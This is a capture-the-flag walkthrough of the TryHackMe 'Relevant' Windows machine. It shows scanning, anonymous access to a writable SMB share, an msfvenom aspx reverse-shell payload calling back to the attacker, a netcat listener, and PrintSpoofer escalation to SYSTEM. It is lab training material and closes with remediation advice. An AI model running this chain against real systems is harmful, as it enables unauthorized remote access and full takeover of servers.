# **RELEVANT – THM**

<https://tryhackme.com/room/relevant>

Another room as a CTF but one with a special lesson to teach. In this room, we also make use of an automation tool called AutoRecon. AutoRecon is a network reconnaissance tool is described as a multi-threaded tool that automates the enumeration of found services. For example, if HTTP is found, automatically web tools such as Dirbuster are used or if a SMB share is found, enum4linux is used. More information from: <https://www.hackingarticles.in/comprehensive-guide-to-autorecon/>

Running AutoRecon in its simplest format by supplying only an IP address will carry out its default scans, initially Nmap and branch out from there into separate scans based on what services are found. Our Nmap results can be viewed after a while by looking in the related target scans folder (which by default is in the current directory where the scan was carried out unless specified otherwise) and *cat quick\_tcp\_nmap.txt. A basic nmap scan runs with* ***nmap -vv --reason -Pn -T4 -sV -sC --version-all -A --osscan-guess -oN <current directory>***

s***udo python3 autorecon.py $ip\_address***

***PORT STATE SERVICE REASON VERSION***

***80/tcp open http syn-ack ttl 127 Microsoft IIS httpd 10.0***

***|\_http-title: IIS Windows Server***

***| http-methods:***

***| Supported Methods: OPTIONS TRACE GET HEAD POST***

***|\_ Potentially risky methods: TRACE***

***135/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC***

***139/tcp open netbios-ssn syn-ack ttl 127 Microsoft Windows netbios-ssn***

***445/tcp open microsoft-ds syn-ack ttl 127 Windows Server 2016 Standard Evaluation 14393 microsoft-ds***

***3389/tcp open ms-wbt-server syn-ack ttl 127 Microsoft Terminal Services***

***49663/tcp open http syn-ack ttl 127 Microsoft IIS httpd 10.0***

***|\_http-title: IIS Windows Server***

***| http-methods:***

***| Supported Methods: OPTIONS TRACE GET HEAD POST***

***|\_ Potentially risky methods: TRACE***

***49667/tcp open unknown syn-ack ttl 127***

***49669/tcp open unknown syn-ack ttl 127***

The beauty of AutoRecon, once a port is found, the ports own is created and results from other tools concerning that particular port are saved there. The Port 80 has the default IIS Web Server home page we also see that the SMB ports are open. Looking at the scan results from different SMB enumeration tools we can summarize the following. The shares on the target:

***Sharename Type Comment***

***--------- ---- -------***

***ADMIN$ Disk Remote Admin***

***C$ Disk Default share***

***IPC$ IPC Remote IPC***

***nt4wrksv Disk***

The share *nt4wrksv* has READ, WRITE permission. Great, maybe we can upload something and find a way to execute it.

We also see that anonymous login is allowed, therefore using smbclient, we connect to the share in order to view the files available.

***smbclient -U guest //$IP\_address/nt4wrksv***

We find a “passwords.txt” file that contains some encoded users and passwords. This to good to be true… (note how easy it was to collect the information using AutoRecon )

Using the Base64 utility, decode the text

***echo “text 1 found” | base64 -d***

***echo “text 2 found” | base64 -d***

We found two possible user credentials and their passwords. Could they be used to log in somewhere. We did find the RDP (Remote Desktop Protocol) service running on its default port of 3389. Let’s try and log in using them. No luck.

Are the users valid? We can use psexec.py to deal with the SMB share and see if the users are valid. (This tool is in a suite of python classes under Impacket and is one of many that can be used to work with different network protocols. TCP, IP, Ethernet, SMB, and many others are supported. More Information <https://github.com/SecureAuthCorp/impacket> )

Running

***psexec.py bob:’password here’@$ip\_address***

***psexec.py bill:’password here’@$ip\_address***

The bob user seems to be valid but the credentials are invalid as we error out. The Bill user logs in as guest account meaning its not valid. Seems like a rabbit hole. We could focus lots of effort on trying to make it work but as mentioned at the beginning, the lesson taught here is sometimes know when to redirect your energy elsewhere.

Looking towards the other services, specifically the web services running on Port 80 and 49663 we run a directory brute force. It is important to use the directory-list-2.3-medium.txt or (big) wordlist as the directory name is found in there.

The Port 80 shows nothing but the Port 49663 brings up the same SMB share name we found – nt4wrksv. Are they linked? Traversing to *http:$ip\_address/n4wrksv/passwords.txt* in the browser,we can also read the same credentials. So, the SMB share can be accessed over HTTP. Remembering that we have READ and WRITE permissions in the SMB share, we now have a potential way of getting a reverse shell.

Generating a payload using msfvenom and remembering that it is a Windows Server 2008-2016 (according to scan results) therefore our architecture is x86 and with aspx as the extension.

***msfvenom -p windows/x64/shell\_reverse\_tcp LHOST=$attacking\_ip LPORT 49663 -f aspx -o visitor.aspx***

|\_\_ -p : specifies the payload

|\_\_ -f : specifying format to aspx

|\_\_ -o : saving to output vistor.aspx

|\_\_ LHOST : listening host, ie your IP

|\_\_ LPORT: the port to listen on (any number is fine. Below 1023 will need sudo)

We log into the SMB share and upload the shell.

***>smbclient -U guest //$IP\_address/nt4wrksv***

***> put visitor.aspx***

Set up a listener

***rlwrap nc -lnvp 49663***

|\_\_ rlwrap allows for key combinations like Ctrl+L/C to be used without exiting the shell.

(If you have any firewall in place, remember to configure it to allow the shell).

In the browser navigate *to http://$IP\_address:49663/nt4wrksv/vistor.aspx* we get a shell back.

Using *whoami* we see that we are the default apppool user. Our share location is located at C:\inetpub\wwwroot.We can read the user flag by going into C:\users\bob\desktop. *(If stuck with the Windows commands you can type in help).* One down one to go.

In order to understand how we are going to escalate our privileges *whoami /priv* and we see we have the SeImpersonate privilege.

***whoami /priv***

***PRIVILEGES INFORMATION***

***----------------------***

***Privilege Name Description State***

***===========================================================***

***SeAssignPrimaryTokenPrivilege Replace a process level token Disabled***

***SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled***

***SeAuditPrivilege Generate security audits Disabled***

***SeChangeNotifyPrivilege Bypass traverse checking Enabled***

***SeImpersonatePrivilege Impersonate a client after authentication Enabled***

***SeCreateGlobalPrivilege Create global objects Enabled***

***SeIncreaseWorkingSetPrivilege Increase a process working set Disabled***

It is possible to exploit the ImpersonatePrivilege using the PrintSpoofer.exe to escalate privileges to SYSTEM. The PrintSpoofer.exe can be downloaded from <https://github.com/dievus/printspoofer> .

We can upload this executable via smbclient > change our working directory to C:\inetpub\wwwroot\nt4wrksv > execute the PrintSpoofer.exe

***PrintSpoofer.exe -i -c cmd***

|\_\_ interacitve shell

|\_\_ -c cmd : open command shell.

Running *whoami* we see that are the NT AUTHORITY user i.e we have SYSTEM level privileges. We can find the flag in the Administrators Desktop and we have successfully pawned the machine.

-----------------------------------------------------------------------------------------------------------------

Security remediations would be disabling guest access to a SMB share and even if enabled not allowing WRITE privileges. Without that flaw, this attack vector wouldn't have been possible.